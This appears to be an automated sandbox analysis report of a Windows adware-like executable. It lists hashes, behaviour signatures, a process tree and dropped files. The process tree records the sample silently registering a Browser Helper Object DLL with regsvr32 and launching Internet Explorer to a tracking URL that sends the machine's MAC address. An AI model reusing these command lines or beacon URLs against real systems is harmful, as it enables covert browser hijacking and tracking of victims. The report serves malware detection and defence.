Analysis

  • max time kernel
    142s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-03-2024 17:18

General

  • Target

    dc2f1aa97d98d83b66f0d5253bb41165.exe

  • Size

    480KB

  • MD5

    dc2f1aa97d98d83b66f0d5253bb41165

  • SHA1

    50b29cb8c0d3bbcdc95f4681557a886ae4efdd62

  • SHA256

    ebf662eb519aa12b8a23b9088490eaf8a45101314faf5496898f2c327e705e72

  • SHA512

    8467b665f696280835e49ec625a71e0944d5f1f54ff7ef42fc729c24ba8e93fc3bde9bb352b3a026b710bb76441b5d64bd332a994385c05dd4ecfce5a6bd3228

  • SSDEEP

    3072:zBm/NmZbzsAsEJORf8R3yM5UG/LMFlfXztiU1PQM5UG/LMFlfXpmZb:dmFmZHwzaCM//wJP1oM//w5mZ

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Installs/modifies Browser Helper Object 2 TTPs 1 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

  • Drops file in System32 directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 45 IoCs
  • Modifies registry class 46 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 18 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dc2f1aa97d98d83b66f0d5253bb41165.exe
    "C:\Users\Admin\AppData\Local\Temp\dc2f1aa97d98d83b66f0d5253bb41165.exe"
    1⤵
    • Checks computer location settings
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1060
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://up1.adlay.net/App/Pro/rialtom_cnt.php?mac=62-87-14-87-72-27&key=kmj&pid=rain
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:988
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:988 CREDAT:17410 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:684
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:988 CREDAT:82946 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:2360
    • C:\Windows\SysWOW64\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s psjm.dll
      2⤵
      • Loads dropped DLL
      • Installs/modifies Browser Helper Object
      • Modifies registry class
      PID:1716
    • C:\WINDOWS\SysWOW64\4875\Winupdate.exe
      Winupdate.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:228
      • C:\Program Files\Internet Explorer\iexplore.exe
        "C:\Program Files\Internet Explorer\iexplore.exe" http://up1.adlay.net/App/Pro/rialtom_pro.php?mac=62-87-14-87-72-27&key=kmj
        3⤵
        • Modifies Internet Explorer settings
        PID:1468
    • C:\WINDOWS\SysWOW64\4875\Winspss.exe
      Winspss.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:4564

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\verBC4B.tmp

    Filesize

    15KB

    MD5

    1a545d0052b581fbb2ab4c52133846bc

    SHA1

    62f3266a9b9925cd6d98658b92adec673cbe3dd3

    SHA256

    557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

    SHA512

    bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\HT2TD2G4\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

  • C:\Windows\SysWOW64\4875\Winupdate.exe

    Filesize

    48KB

    MD5

    addc0dd99f694a8df3caac3fa7c3fda3

    SHA1

    44d3310c26fba0bab0c679966ca7e26f7333dbc7

    SHA256

    54203137d5f8dab7b9d47af23d46afd7f8f7a20205d734f30c622167f4a9ac8f

    SHA512

    8fba70f876e5dd420532335d960dcb9c1af2d056c771410b778b43ca7db898d70f406ef8f1866f8308e95bb63f9cbd4b4f4ebd2a89fa93dd9bb79948f0bd5451

  • C:\Windows\SysWOW64\psjm.dll

    Filesize

    212KB

    MD5

    8cea2d23c693ea6fa8e41ea6d9cc3432

    SHA1

    e965e000871a0b8e6b206256ddcf7657b13cc931

    SHA256

    7f486807cae14b4913ed33d7e3fe468d7fb97a4e8ae7b7e281a8226d6f5047a1

    SHA512

    63ff64ca8736b23f6b23466ddd35efb26dd0fdf1675926ef2c74e608384748b7f445c8711105b52dbfc859bdf67fe0e790f5d0365e0b6bcbb1ed90600b45ae99